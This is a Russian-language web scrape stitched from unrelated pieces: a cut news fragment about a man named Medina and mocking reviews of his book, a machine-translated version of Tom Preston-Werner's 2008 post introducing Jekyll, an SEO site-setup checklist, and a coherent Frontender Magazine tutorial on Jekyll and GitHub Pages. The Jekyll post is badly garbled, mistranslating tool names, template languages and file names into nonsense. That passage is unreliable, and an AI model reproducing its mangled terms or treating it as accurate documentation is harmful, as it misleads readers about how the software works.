    Медина также известен, как автор книги «Как я спас чью-то жизнь, брак и разрешил семейные проблемы с помощью общения», которую до сих пор можно купить в американских интернет-магазинах.

    После инцидента с женой издание на Amazon получило множество издевательских рецензий, авторы которых использовали различные выражения, отсылающие к стрельбе «Эта книга — не промах», «Эта книга — прямо в яблочко» и другие англоязычные аналоги.

    Вести блог как хакер

    17 ноября 2008 - Сан-Франциско 

    Еще в 2000 году, когда я думал, что я собирался стать профессиональным писателем, я часами в день на LiveJournal делает письменной практике с другими стремящихся поэтов и авторов. С тех пор я уже писал на трех различных областей о веб-стандартах, полиграфический дизайн, фотография, вспышка, иллюстрации, информационная архитектура, ColdFusion управления пакетами, PHP, CSS, реклама, Рубин, Рельсы, и Erlang. 

    Я люблю писать. Я получаю удовольствие от делюсь мыслями с другими. Акт трансформации идеи в слова является удивительно эффективный способ укрепить и усовершенствовать свои мысли о той или иной теме. Но столько, сколько нравится блога, я, кажется, застрял в цикле бросить и начать сначала. Перед началом текущей итерации, я решил сделать некоторые самоанализа, чтобы определить факторы, которые ведут к этому разрушительному рисунком. 

    Я уже знал много о том, что я не хочу. Я устал от сложных блогов системах, как WordPress и Мефисто. Я хотел написать большие должности, не стилизации страниц шаблонов мильона, модерировать комментарии в течение всего дня, и постоянно отстают от последней версии программного обеспечения. Что-то вроде Posterous выглядел привлекательным, но я хотел, чтобы стиль мой блог, и его нужно было организовано на домене моего выбора. По той же причине, другие размещенных сайтов ( wordpress.com , blogger.com ) были дисквалифицированы. Есть несколько человек, непосредственно используя GitHub в качестве блога (что очень круто), но это слишком много из несоответствия импеданса для моих вкусов. 

    В воскресенье, 19 октября, я сел в моей квартире в Сан-Франциско со стаканом яблочного сидра и ясный ум. После периода размышлений, у меня была идея. Хотя я не специально обученных как автор прозы, я тренировался как автор кода. Что произойдет, если я подошел блогов с точки зрения разработки программного обеспечения? Что бы это выглядело? 

    Во-первых, все мои письма будут храниться в хранилище Git. Это обеспечило бы, что я мог попробовать различные идеи и исследовать различные посты все от комфорта моего предпочтительном редактора и командной строки. Я был бы в состоянии опубликовать сообщение через простой сценарий развертывания или после совершения крючок. Сложность будет сведено к абсолютному минимуму, так статический сайт будет предпочтительнее динамического сайта, которые требуют постоянного обслуживания. Мой блог необходимо будет легко настраивается; исходя из графического дизайна фоне означает, что я всегда буду настройки внешнего вида сайта и макет. 

    За последний месяц я принес эти понятия свои плоды, и я рад сообщить, Джекил . Джекил является простым, блог известно, статическая генератор сайт. Он принимает каталог шаблонов (представляющий сырой форму сайте), запускает его через текстильной и жидких преобразователи и выплевывает полный, статический сайт подходящую для обслуживания с Apache или ваш любимый веб-сервере. Если вы читаете эту статью на сайте ( http://tom.preston-werner.com ), вы видя Джекил генерируется блог! 

    Чтобы понять, как это все работает, откройте свой ​​TPW репо в новом окне браузера. Я буду ссылки на код. 

    Взгляните на index.html . Этот файл представляет собой домашнюю страницу сайта. В верхней части файла является кусок YAML, который содержит метаданные о файле. Эти данные сообщает Джекил, что макет, чтобы дать файл, то, что должно быть заголовок страницы и т.д. В этом случае, я указываю, что шаблон "по умолчанию" должен быть использован. Вы можете найти файлы макета в _layouts каталоге. Если открыть default.html вы можете увидеть, что домашнюю строится путем обертывания index.html с этого макета. 

    Вы также заметите, Liquid код шаблонов в этих файлах. Жидкость представляет собой простой, расширяемый язык шаблонов, что позволяет легко встраивать данные в шаблонах. Для моей домашней странице я хотел бы иметь список всех моих блогах. Джекил протягивает мне Hash, содержащее различные данные о моем сайте. Обратный хронологический список всех моих блогах можно найти в site.posts . Каждый пост, в свою очередь, содержит различные поля, такие как title и date . 

    Джекил получает список сообщений в блоге, анализируя файлы в _posts каталоге. Имя файла каждого поста содержит дату публикации и пули (что обнаруживается в URL), что окончательный HTML файл должен иметь. Откройте файл, соответствующий этому сообщению в блоге: 2008-11-17-блогов, как мини-hacker.textile . GitHub оказывает текстильных файлы по умолчанию, поэтому, чтобы лучше понять файл, нажмите на сырой зрения, чтобы увидеть исходный файл. Здесь я указал post макет. Если посмотреть на этот файл вы увидите пример вложенного макета. Макеты могут содержать другие макеты, позволяющие вам большую гибкость в том, как страницы в собранном виде. В моем случае я использую вложенный макет, чтобы показать соответствующие должности для каждой записи блога. YAML также указывает название поста, который затем встроенный в тело поста с помощью жидкости. 

    Сообщения обрабатываются особым образом по Джекила. Дата указать в имени файла используется для построения URL в созданном сайте. Это сообщение, например, заканчивается в http://tom.preston-werner.com/2008/11/17/blogging-like-a-hacker.html . 

    Файлы, которые не находятся в каталогах с префиксом подчеркивания отражаются в соответствующем структуре каталогов в созданном сайте. Если файл не имеет предисловие YAML, он не запускается через жидкость переводчика. Бинарные файлы копируются без изменений. 

    Для того чтобы превратить ваш сырой сайт в готовом варианте, вы просто запустите: 

     $ jekyll /path/to/raw/site /path/to/place/generated/site 

    Джекил все еще очень молодой проект. Я только разработали точную функциональность, что я нуждался. Со временем я хотел бы видеть проект зрелый и поддержку дополнительных функций. Если вы в конечном итоге с помощью Джекил для собственного блога, черкните и дайте мне знать, что вы хотели бы видеть в будущих версиях. А еще лучше, форк проекта, по меньшей GitHub и взломать в особенностях себя! 

    Я жил с Джекила чуть более месяца теперь. Я люблю это. Вождение развитие Джекила исходя из потребностей моего блога был очень полезным. Я могу редактировать мои сообщения в TextMate, давая мне автоматического и компетентную проверку орфографии. У меня немедленного и первый доступ класс к CSS и шаблоны страниц. Все резервные копии на GitHub. Я чувствую легкость теперь, когда я пишу пост. Система достаточно проста, что я могу держать весь процесс преобразования в моей голове. Расстояние от моего мозга в своем блоге сократилась, и, в конце концов, я думаю, что сделает меня лучше автора.

    Как избежать ошибок при технической оптимизации сайта. Руководство по первичной настройке - SearchEngines.ru


    Как избежать ошибок при технической оптимизации сайта. Руководство по первичной настройке


    Вопрос- как разработчикам начать понимать SEO-специалистов? – всегда очень остро стоял на повестке дня, а в условиях кардинальной смены алгоритмов Яндекса и введения большого количества пессимизирующих фильтров, от взаимопонимания разработчиков, верстальщиков, дизайнеров и специалистов по продвижению зависит общий успех сайта и компании.

    Специалисты «PixelPlus» разобрали основные требования, которые накладывает поисковая оптимизация (SEO) на документы на сайте, а также требования к дизайну, оформлению, CSS, Java Script, систематизировали основные ошибки, которые допускают верстальщики и дизанеры, а также типичные ошибки при разработке, допускаемые программистами. Результатом этой работы явилось руководство по первичной настройке, пошагово демонстрирующее, как, начиная с самого первого этапа — создания сайта построить грамотную оптимизацию на сайте, для того чтобы в дальнейшем не пришлось переделывать значимые фрагменты кода.

    Пошаговая инструкция, которую рекомендуется усвоить каждому специалисту

    1. Создайте файл robots.txt и настройте его.
    2. Установите 301-редирект на основное зеркало. Основное зеркало указывается в файле robots.txt для Яндекса с помощью директивы «Host:».
    3. Создайте и настройте файл 404-ошибки.
    4. Проверьте корректность работы редиректов и верность кода ответа сервера 404-ошибки (очень часто пишется, что это 404-ошибка, но код ответа у нее почему-то 200 ОК).
    5. Задайте уникальные теги Title для всех страниц (необходимо, чтобы на сайте имелась такая возможность).
    6. Установите уникальные meta-описания (на сайте должна быть такая возможность). Если вы разработчик, установите уникальные meta-описания и убедитесь, что они отображаются в исходном коде, т.к. meta-описания можно увидеть только в исходном коде.
    7. Настройте ЧПУ для всех или ключевых страниц сайта. Также важно убедиться, что ссылки ведут сразу на конечные URL, не через промежуточные (т.е. сначала на страницу без ЧПУ, а потом через 301-редирект на страницу с ЧПУ; такого быть не должно).
    8. Просканируйте сайт на предмет битых и некорректных ссылок. Устраните их и причину их возникновения.
    9. Просканируйте сайт повторно, убедитесь, что проблема со ссылками решена. Обычно это можно сделать с помощью программы Page Weight, Screaming Frog Seo Spider и аналогичных средств, в том числе онлайн (seoto.me). Пересканировать сайт нужно обязательно, потому что если у вас 404-ошибка была выведена некорректно, повторное сканирование сайта поможет выявить большое число новых ошибок.
    10. Создайте карту сайта sitemap.xml и укажите путь к ней в панелях Вебмастера.
    11. Изучите исходный код основных страниц сайта. Все большие куски JS и CSS должны быть вынесены в отдельные файлы.
    12. Проверьте, что теги h1-h6 используются только как текстовые заголовки, а не элементы дизайна. Для этого нужно проверить, есть ли в исходном коде теги h1-h6 и используются ли они только в тексте.
    13. Измерьте время отклика сервера и время загрузки исходного кода документа для ключевых регионов с помощью сторонних сервисов. Нужно проверить, как загружается исходный код из ключевых регионов, в которых вы планируете оказывать услуги.
    14. Проведите базовое нагрузочное тестирование — от 10–20 активных пользователей онлайн.
    15. Проверьте валидность кода основных страниц/разделов, устраните самые существенные ошибки.
    16. Проверьте корректность отображения в браузерах Chrome, Android, Safari, Firefox, Яндекс.
    17. Настройте корректное отображение атрибута rel="canonical" тега link. Это помогает устранить большое количество потенциальных дублей на сайте и сделать доступными для индексации только канонические страницы, которые должны быть проиндексированы.
    18. Настройте заголовок Last-Modified и обработку запроса с условием If-Modified-Since. Когда поисковый робот заходит на ваш сайт и спрашивает, изменился ли данный документ с того времени, когда он последний раз был на нем, если он не изменился, требуется не отдавать исходный код, а дать 304 код ответа и тем самым уменьшить нагрузку на сервер, ускорить индексацию и увеличить ее полноту.
    19. Контролируйте аптайм сервера по системам статистики (он должен быть не ниже 99,85%).
    20. Не реже раза в месяц производите контроль индексации — SERP, Вебмастер, сканирование. Это то, что непосредственно относится к обязанностям SEO-специалиста. Нужно не реже раза в месяц просматривать руками, анализировать панель Вебмастера, и производить сканирование и повторное сканирование сайта.

    Подробней о каждом из пунктов читайте здесь

    Правила являются обязательными для продвижения и входят в сферу ответственности SEO-специалистов. Оптимизатор в любом случае должен проверять их выполнение, и если программист, верстальщик или дизайнер допустил какие-то ошибки из описанных выше, то специалисту необходимо сформировать технические задания по доработке сайта. Опираясь на материал, у каждого специалиста получится сформировать данные технические задания. 

    Создаем блог используя Jekyll и GitHub Pages | Frontender Magazine


    Создаем блог используя Jekyll и GitHub Pages

    Недавно я перенес блог с WordPress на Jekyll — это генератор статических сайтов. Jekyll был специально разработан для создания минималистичных блогов, которые затем можно разместить на GitHub Pages. Написание статей и создание тем для Jekyll удивительно просты, однако настройка сайта заняла у меня значительно больше времени, чем ожидалось.

    В этой статье мы рассмотрим следующие моменты:

    • как быстрее всего запустить блог на Jekyll;
    • как избежать основных ошибок при работе с Jekyll;
    • как перенести материалы из WordPress, как использовать свое доменное имя и как писать статьи в любимом редакторе;
    • как создавать темы для Jekyll используя Liquid;
    • несколько новых функций из Jekyll 2.0, включая поддержку Sass, CoffeeScript и коллекций.

    Том Престон-Вернер (Tom Preston-Werner) создал Jekyll, чтобы вести блог используя простой статический сайт на HTML. Всё содержимое сайта хранится на GitHub, который, к тому же, осуществляет контроль версий. Целью было избавиться от сложности, свойственной другим блог-платформам, чтобы при этом можно было вести блог как настоящий хакер.

    Октокот, который является маскотом Jekyll

    Октокот, который является маскотом Jekyll. (Изображение принадлежит: GitHub)

    Jekyll берет контент написанный в маркдаун, применяет к нему шаблоны и выдает на выходе готовый, полностью статический сайт. GitHub Pages отдает сайт прямо из GitHub-репозитория, так что вам не нужно иметь дело с хостингами.

    Вот примеры сайтов, созданных с использованием Jekyll:

    • Простота
      Jekyll сводит все к абсолютному минимуму, избавляясь от сложных составляющих:

      • Никаких баз данных В отличие от WordPress и других систем управления контентом (CMS), Jekyll не использует базы данных (БД). Все страницы перед публикацией преобразуются в статический HTML. Это прекрасно с точки зрения скорости загрузки страницы, так как во время загрузки не происходит никаких запросов к БД.

      • Никаких CMS Просто пишите в Markdown — Jekyll сам применит шаблоны к контенту и сгенерирует статический сайт. GitHub может исполнять роль CMS, если нужно, потому что он позволяет редактировать контент.

      • Быстрый Jekyll быстрый, потому, что в нём нет ничего лишнего и он не использует базы данных — он просто собирает статические страницы. Мой основной шаблон Jekyll Now создает всего три HTTP-запроса, включая картинки и иконки социальных сетей!

      • Минималистичный Большинство сайтов на Jekyll не содержит никакой лишней функциональности или возможностей, которые вы не используете.

    • Контроль представления Тратьте меньше времени на сложные шаблоны, написанные другими людьми, и больше — адаптируя простой базовый шаблон или создавая свой собственный.

    • Безопасность Большинство уязвимостей, которые есть у платформ вроде WordPress, отсутствуют в Jekyll, потому что здесь нет CMS, нет баз данных или PHP. Так что вам не нужно тратить массу времени устанавливая обновления, закрывающие дыры в безопасности.

    • Удобный хостинг Это просто удобно, если вы уже используете GitHub, вот и все. GitHub Pages бесплатно соберет и выложит сайт, использующий Jekyll, и одновременно реализует для него контроль версий.

    Есть несколько способов разобраться с Jekyll, у каждого свои особенности. Вот несколько вариантов:

    • Установите Jekyll локально используя консоль, создайте заготовку нового сайта командой jekyll new, соберите его командой jekyll build и выложите. (Веб-сайт Jekyll показывает процесс.)
    • Клонируйте репозиторий с заготовкой на локальную машину, установите Jekyll локально из консоли, внесите правки, соберите локально, выложите.
    • Форкните репозиторий с заготовкой, измените, выложите.

    Давайте начнем с самого простого и быстрого варианта: форкнем репозиторий с заготовкой. Это позволит запустить проект в считанные минуты, и нам не придется устанавливать все зависимости. Вот что мы сделаем на GitHub.com прямо в браузере:

    1. Создадим сайт используя Jekyll
    2. Бесплатно разместим на GitHub Pages.
    3. Изменим так, что бы он включал наше имя, аватар и ссылки на социальные сети.
    4. Опубликуем наш первый пост!

    Начнем с создания форка репозитория — это хорошая практика, о которых мы упоминали в статье. Этот способ направит нас по верному пути и сбережет уйму времени.

    Я уже создал нам репозиторий. Откройте Jekyll Now и нажмите кнопку «Fork» в верхнем правом углу страницы, чтобы создать форк темы блога в вашу учетную запись на GitHub.

    Шаг 1

    Инструкция к шагам 1 и 2. (Картинка в высоком разрешении)

    Начинать с форка отличная идея, ведь это позволит выяснить что из себя представляет Jekyll без необходимости поднимать локальное окружение для разработки, устанавливать зависимости и разбираться с процессом сборки.

    Проблема №1: Создание сайта на базе Jekyll через терминал может раздражать и занимать много времени, так как надо установить и настроить зависимости, например, Ruby и RubyGems. Позвольте GitHub Pages собирать ваш сайт, пока не возникнет реальная причина делать сборку локально.

    Как пользователь GitHub, вы можете бесплатно создавать «пользовательские» сайты (в отличии от веб-сайтов «проектов»), которые будут доступны по адресу http://yourusername.github.io. Идеально подходит для размещения блога на Jekyll!

    Лучше всего в этом то, что вы просто помещаете Jekyll-блог в ветку master, после чего GitHub Pages сам соберет статический сайт и будет его раздавать. Вам вообще не нужно беспокоиться о процессе сборки — об этом уже позаботились.

    Нажмите кнопку «Settings» в форке репозитория (меню справа) и измените имя репозитория на yourusername.github.io, заменив yourusername на ваше имя пользователя на GitHub.

    Скорее всего, сайт станет доступен немедленно, это можно проверить открыв http://yourusername.github.io. Если ещё не доступен — не беспокойтесь, на Шаге 3 мы выясним как принудительно вызвать сборку.

    Базовая тема блога непосредственно после форка будет выглядеть следующим образом.

    Базовая тема блога непосредственно после форка будет выглядеть следующим образом. (Источник:Jekyll Now) (В высоком разрешении)

    Уф! Мы быстро продвигаемся, мы уже запустили сайт на Jekyll! Давайте сделаем шаг назад и рассмотрим наиболее часто встречающиеся проблемы, которые стоит иметь ввиду, размещая Jekyll-блог на GitHub Pages.

    Проблема №2: нужно понимать различия между размещением на GitHub сайта пользователя и страницы проекта. Для пользовательского сайта (который мы делаем) не нужно создавать никакие ветки: master и так сконфигурирована нужным образом, чтобы обрабатывать с помощью Jekyll всё, что в неё помещают, и создавать статический сайт. Нет нужды создавать ветку gh-pages.

    Проблема №3: использование сайта для проекта немного все усложняет, так как сайт будет находиться в поддиректории. URL будет выглядеть так: http://yourname.github.io/repository-name, что вызовет проблемы с шаблонами в Jekyll: например, битые ссылки на картинки и невозможность посмотреть сайт локально.

    Проблема №4: для Jekyll существует масса плагинов, но GitHub Pages поддерживает всего несколько из них. Если подключить плагин, который не поддерживается, Jekyll не сможет собрать сайт, так что строго придерживайтесь списка поддерживаемых плагинов. Благо мой любимый плагин есть в списке: Jemoji — он позволяет добавлять в статьи emoji, как на GitHub или Basecamp.

    Теперь можно изменить имя сайта, его описание, аватар и прочие настройки отредактировав файл _config.yml. Эти пользовательские переменные для удобства были вынесены отдельно, и они подтянутся в тему сайта во время сборки.

    Изменение _config.yml (или любого файл в репозитории) вызовет повторную сборку сайта. Увидеть результат можно будет через пару секунд по адресу http://yourusername.github.io. Если после Шага 2 сайт не появился, то он появится после этого действия.

    Вперед, адаптируйте сайт под себя, изменяя переменные в _config.yml и коммитя изменения.

    Вы можете править файлы одним из трех способов. Выберите тот, который вас больше устраивает:

    • Редактируйте файлы непосредственно в браузере на сайте GitHub.com в вашем репозитории username.github.io (как показано ниже).
    • Используйте сторонний редактор, поддерживающий работу с GitHub, например, Prose, разработанный Development Seed. Он оптимизирован для работы с Jekyll и позволяет легко редактировать Markdown, создавать черновики и загружать изображения.
    • Клонируйте репозиторий, внесите правки локально, затем пушните все обратно в репозиторий на GitHub (у Atlassian даже есть гайд на эту тему).

    Редактируем _config.yml на GitHub.com

    Редактируем _config.yml на GitHub.com. (Источник: Jekyll Now) (В высоком разрешении)

    Проблема №5: Не думайте, что нужно выполнять jekyll build локально, чтобы внести изменения в сайт на Jekyll — GitHub Pages сделает это за вас. Достаточно поместить файлы, которые нужно собрать, в ветку master репозитория с вашим сайтом или в gh-pages любого другого репозитория, после этого GitHub Pages соберет их используя Jekyll.

    Теперь сайт настроен, работает и отлично выглядит. Можно опубликовать первую статью:

    1. Отредактируйте /_posts/2014-3-3-Hello-World.md, удалите «рыбу» и введите свой текст. Если нужно освежить в памяти основы использования Markdown, используйте шпаргалку Адама Причарда (Adam Pritchard).
    2. Измените имя файла, что бы оно включало текущую дату и заголовок поста. Jekyll требует определённый формат именования: year-month-day-title.md.
    3. Обновите заголовок. Переменные в начале файла называются вводным блоком, мы рассмотрим их более подробно немного позже. В данном случае они определяют заголовок статьи и используемый шаблон. Существуют и другие переменные, которые можно использовать во вводном блоке, например, permalink, tags и category.

    Если захотите создать новую статью на GitHub.com прямо в вашем браузере, просто перейдите в директорию /_posts/ и нажмите иконку «+». Главное — не забывайте придерживаться формата имени файлов и добавлять вводный блок, чтобы файлы обрабатывались Jekyll.

    Создание новой статьи на сайте GitHub.com

    Создание новой статьи на сайте GitHub.com. (В высоком разрешении)

    Проблема №6: Единственная проблема с Jekyll, с которой я столкнулся при создании блога — отсутствие CMS, так что я не мог просто залогиниться в CMS, чтобы сделать быстрые правки, находясь за чужим компьютером. Оказывается, блог на Jekyll будет иметь CMS, если использовать GitHub Pages, так как роль CMS исполняет сам GitHub. Можете редактировать статьи в браузере даже с телефона, если захотите. И, хотя это не так удобно как в других CMS, — это не помешает вам внести изменения даже если вы окажетесь далеко от своего компьютера.

    Настройка доменного имени, что бы оно указывало на GitHub Pages — это простое действие, состоящее из двух шагов:

    1. Создайте в корневой директории репозитория файл CNAME так, что бы он содержал нужное доменное имя (например, www.yourdomainname.com).
    2. У регистратора доменного имени добавьте в настройках DNS запись CNAME, указывающую на GitHub Pages:

    Затем настойчиво обновляйте What's My DNS, пока не распространится информация о новой записи. Если возникнут проблемы, обратитесь к документации: «Настройка пользовательского доменного имени при работе с GitHub Pages».

    Прежде чем импортировать статьи в блог, их надо сначала экспортировать из WordPress, возможно, немного адаптировав (например, обновив ссылки на изображения), и только затем импортировать их в ваш блог на Jekyll. К счастью есть несколько инструментов, которые могут в этом помочь.

    Для экспорта статей из WordPress, я очень рекомендую WordPress to Jekyll Exporter Бена Балтера (Ben Balter), который позволяет сделать всё в один клик. Он экспортирует весь контент WordPress-блога, включая статьи, изображения и мета-данные, конвертирует, где необходимо, в подходящий для Jekyll формат и выдает в виде ZIP-архива. Спасибо тебе, Бен.

    Ещё один вариант — экспортировать все содержимое WordPress через меню «Tools» панели администрирования, а затем импортировать используя Jekyll's importer.

    Затем, нужно обновить ссылки на изображения. Плагин, написанный Беном Балтером, экспортирует все изображения в папку. Затем их нужно будет скопировать туда, где вы храните изображения для своего Jekyll-блога, это может быть папка /images или CDN.

    После этого перед нами встанет задача обновить все ссылки на изображения в статьях. Так как я обновлял всего пять-шесть статей, мне отлично подошли быстрый поиск и замена, но если материалов много, тогда, возможно, стоит написать скрипт или подобрать уже готовый, например, скрипт Паула Стаматиуса (Paul Stamatiou).

    И, наконец, нужно импортировать комментарии. Так как Jekyll — платформа для статических сайтов, он не поддерживает комментарии, однако, решения вроде Disqus отлично подходят для такого случая! Я рекомендую импортировать комментарии из WordPress в Disqus, затем, если вы используете Jekyll Now, можете ввести имя пользователя Disqus в _config.yml и все заработает.

    Если вы предпочитаете писать статьи в Sublime, Vim, Atom или другом редакторе, всё, что нужно сделать — клонировать репозиторий, создать новый пост на Markdown в директории _posts и затем запушить изменения на GitHub. GitHub Pages автоматически пересоберёт сайт как только файл с маркдауном попадет в репозиторий, и новая статья появится в блоге сразу по окончании сборки.

    1. Сначала выполните команду git clone git@github.com:yourusername/yourusername.github.io.git, или клонируйте репозиторий используя GitHub Mac.
    2. Создайте файл для новой статьи в папке _posts. Не забудьте назвать его в соответствии с форматом year-month-day-title.md и добавить в начало вводный блок.
    3. Закоммитьте файл статьи и пушните в репозиторий. Может быть полезным посмотреть основы Git от компании Atlassian.
    4. Вот и все! Подождите пока GitHub Pages пересоберет сайт. Обычно это занимает не больше 10 секунд, если у вас, конечно, не слишком много статей.

    Проблема №7: Опять же, не нужно собирать сайт локально, чтобы написать и опубликовать статью. Можно просто локально написать статью и пушнуть её со всеми картинками в репозиторий, после чего GitHub Pages сам пересоберет сайт на сервере.

    Хотите изменить тему? Вот кое-что, что вам нужно знать:

    Если вы захотите создать довольно сложную тему, разумно проводить её разработку и тестирование локально. Это необязательно, можно просто пушить изменения в репозиторий и GitHub Pages всё соберёт, однако видеть изменения в процессе работы может быть полезно.

    Сначала нужно установить Jekyll и его зависимости. Запустите gem install jekyll, затем gem install jemoji jekyll-sitemap. Должны быть установлены Ruby, RubyGems и Kramdown. Полный список зависимостей Jekyll.

    Вот шаги для локального создания и просмотра сайта на Jekyll:

    1. Сначала перейдите (cd) в директорию, в которой находится сайт.
    2. Запустите jekyll serve --watch. (у Jekyll масса встроенных настроек.)
    3. Откройте свой сайт по адресу http://0.0.0.0:4000.
    4. Когда закончите, закоммитьте изменения и пушните все в ветку master соответствующего репозитория. GitHub Pages пересоберёт сайт.

    Проблема №8: Имейте в виду, что jekyll build стирает все содержимое папки /_sites/. Первый шаг jekyll build — удаление всего, что есть в /_sites/, и сборка всех страниц с нуля. Так что не стоит хранить там файлы, если вы не хотите, чтобы они исчезли при следующей же сборке. В /_sites/ должно быть только то, что генерирует Jekyll.

    Вот структура сайта на Jekyll:

    /Users/barryclark/Code/jekyll-now  ├─ CNAME   ├─ _config.yml   ├─ _includes   │  ├─ analytics.html  │  └─ disqus.html  ├─ _layouts  │  ├─ default.html   │  ├─ page.html   │  └─ post.html   ├─ _posts   │  └─ 2014-3-3-Hello-World.md  ├─ _site   │  ├─ CNAME  │  ├─ LICENSE  │  ├─ about.html  │  ├─ feed.xml  │  ├─ index.html  │  ├─ sitemap.xml  │  └─ style.css  ├─ about.md   ├─ feed.xml   ├─ images   │  ├── first-post.jpg  ├─ index.html   ├─ scss   │  ├─ _highlights.scss  │  ├─ _reset.scss  │  ├─ _variables.scss  │  └─ style.scss  └── sitemap.xml   

    Jekyll использует язык шаблонов Liquid. Про него нужно знать две важные вещи:

    Во-первых, в начале каждого файла есть вводный блок YAML, он определяет шаблон для вывода страницы и такие переменные, как title, date и tags. Кроме того, он может содержать пользовательские переменные.

    Теги шаблонизатора Liquid используются для создания циклов, условных операторов и для вывода материалов.

    Например, пусть каждая статья в блоге использует шаблон из /_layouts/post.html:

    ---  layout: default  ---    <article class="post">      <h1>{{ page.title }}</h1>      <div class="entry">      {{ content }}    </div>      <div class="date">      Написано {{ page.date | date: "%B %e, %Y" }}    </div>      <div class="comments">      {% include disqus.html disqus_identifier=page.disqus_identifier %}    </div>  </article>  

    Вначале файла располагается вводный блок YAML, окруженный тремя дефисами. В нем мы определяем, что файл должен быть обработан как содержимое шаблона default.html, который содержит шапку и подвал сайта.

    Разметка Liquid использует двойные фигурные скобки для вывода данных. Самые первые Liquid-теги в примере выше {{ page.title }} и {{ content }} — они выводят заголовок и содержание статьи. В Jekyll доступно множество переменных для использования в шаблонах.

    Одинарные фигурные и квадратные скобки используются для создания условных операторов, циклов и включения сниппетов кода. В этом примере я добавил в конец шаблона блок комментариев Disqus, который находится в файле /_includes/disqus.html.

    Это файл конфигурации Jekyll, который содержит все настройки блога. Что хорошо в _config.yml, так это то, что в нем можно задавать пользовательские переменные, которые затем можно будет использовать в шаблонах сайта.

    Например, я использую пользовательские переменные из _config.yml в блоге Jekyll Now, чтобы можно было удобно добавлять SVG-иконки в подвал сайта.

    Вот переменные в _config.yml:

    # Этот код добавляет иконку в подвал для каждого имени пользователя в списке  footer-links:    github: barryclark    twitter: baznyc  

    И вот как они используются в /_layouts/default.html:

    <footer class="footer">    {% if site.footer-links.github %}<a href="http://github.com/{{ site.footer-links.github }}">{% include svg-icons/github.html %}</a>{% endif %}    {% if site.footer-links.twitter %}<a href="http://twitter.com/{{ site.footer-links.twitter }}">{% include svg-icons/twitter.html %}</a>{% endif %}  </footer>  <figure>  

    Пример SVG-иконок в подвале

    Пример SVG-иконок в подвале

    Переменные в ссылку на Twitter добавляются следующим образом: http://twitter.com/{{ site.footer-links.twitter }}, так что ссылка в футере будет указывать на вашу учетную запись в Twitter. Ещё одна вещь, которая меня радует в переменных, — то, что их можно использовать для опционального отображения элементов интерфейса. Например, иконок в футере вообще не будет, если вы не зададите значение переменной.

    Проблема №9: Обратите внимание, что изменения в _config.yml обновляются во время сборки, а не в реальном времени. Это означает, что если вы запускаете локально jekyll serve и редактируете _config.yml, — изменения не применятся. Нужно остановить и снова запустить jekyll serve.

    Большинству простых блогов нужно всего два шаблона: один для постов (post.html) и один для статических страниц (page.html). И единственная разница между ними в Jekyll Now состоит в том, что post.html включает блок комментариев Disqus и дату, а page.html — нет.

    Если вы создадите файл с расширением .html или .md в корневой директории сайта, он будет рассматриваться как статическая страница. Например about.md будет доступна по адресу www.mysite.com/about. Легко и просто!

    Я храню изображения в директории репозитория /images/ и на данный момент не испытываю никаких проблем с производительностью. Если сайт размещен на GitHub Pages, изображения будут отдаваться с CDN GitHub'а и очень быстро загружаться. Я пока не вижу причин хранить их в другом месте, но, если уж мигрировать куда-нибудь вроде CloudFront, изменить ссылки совершенно не проблема.

    Мне нравится простота хранения изображений в директории /images/, добавлять картинки в пост тоже очень просто, код в маркдаун выглядит вот так:

    ![Image description](/images/my-image.jpg)  

    Jekyll на данный момент поддерживает Sass и CoffeeScript без необходимости использовать плагины или Grunt. Можно просто добавить файлы с расширениями .sass, .scss и .coffee в рабочую директорию, и Jekyll их обработает, сгенерировав в той же директории .css и .js

    It's Sass time!

    Время Sass'ить! (Источник: Sass)

    Чтобы быть уверенным, что .sass, .scss и .coffee будут обрабатываться, добавьте в начало файлов две строки с тройным дефисом:

    ---  ---  $color-coffee: #644C37;  

    Если вы используете @imports для разбиения Sass на модули, надо сообщить об этом Jekyll, добавив в _config.yml следующее:

    sass:    sass_dir: _scss  

    Кроме того, можно задать стиль вывода скомпилированного CSS:

    sass:    sass_dir: _scss    style: :compressed  

    В Jekyll есть несколько мощных, более продвинутых фич, которые могут пригодиться, если вы захотите создать что-либо сложнее простого блога.

    Есть два способа интегрировать внешние данные в Jekyll. Первый — используя сторонние сервисы и API. Например, Disqus позволяет добавлять динамический контент на статический сайт используя внешние сервисы.

    Второй способ — использование файлов данных. Jekyll может читать файлы в формате YAML и JSON из директории /_data/ и позволяет использовать их в шаблонах как обычные переменные. Это весьма полезно для хранения переиспользуемых данных или настроек, которые вы не хотите помещать в _config.yml, чтобы он не разрастался сверх меры.

    Кроме того, data-файлы дают возможность добавлять на сайт большие наборы данных. Можно написать скрипт, который будет разбивать их на несколько JSON-файлов и размещать их в директории /_data/. Ярким примером такого подхода является использование данных Google Analytics в Jekyll для ранжирования постов по популярности.

    Два стандартных типа документов Jekyll — это посты (статьи для блога) и страницы (просто статический контент). Релиз Jekyll 2.0 добавил коллекции, которые позволяют создавать собственные типы документов. Например, можно использовать коллекции для создания фотоальбома, книги или портфолио.

    Jekyll подходит не для каждого проекта. Основным недостатком генератора статики является сложность внедрения динамических функций на стороне сервера. Количество сервисов, которые можно интегрировать в проект, таких как Disqus, растет, но не все из них предоставляют гибкие настройки и возможность контроля. Jekyll не подходит для создания сайтов с базами пользователей, так как в нём нет ни баз данных, ни логики на стороне сервера для обработки регистрации или аутентификации.

    Достоинства Jekyll — его простота и минимализм. Jekyll дает вам всё необходимое, чтобы создать сайт, ориентированный на контент, и который не подразумевает особой интерактивности. Это делает Jekyll идеальным для блога и портфолио и позволяет использовать его для реализации простых сайтов для клиентов.

    Не дайте репутации Jekyll, как платформы для создания блогов для хакеров, отпугнуть вас. Создание красивых, быстрых, минималистичных сайтов с его помощью не требует элитных хакерских навыков или умения работать с командной строкой. Как я уже показал в пошаговом руководстве выше, его можно настроить за считанные минуты, посвятив остальное время работе над контентом и дизайном.

    • Jekyll Официальный сайт — это лучший ресурс для изучения Jekyll и создания сайта.
      Значительная часть информации для статьи была почёрпнута оттуда.

    • Jekyll Now Этот ресурс упрощает создание блога на основе Jekyll, избавляя от необходимости разбираться вот множестве начальных настроек.

    • Исходный код Jekyll Репозиторий содержит исходный код и дискуссии на тему Jekyll.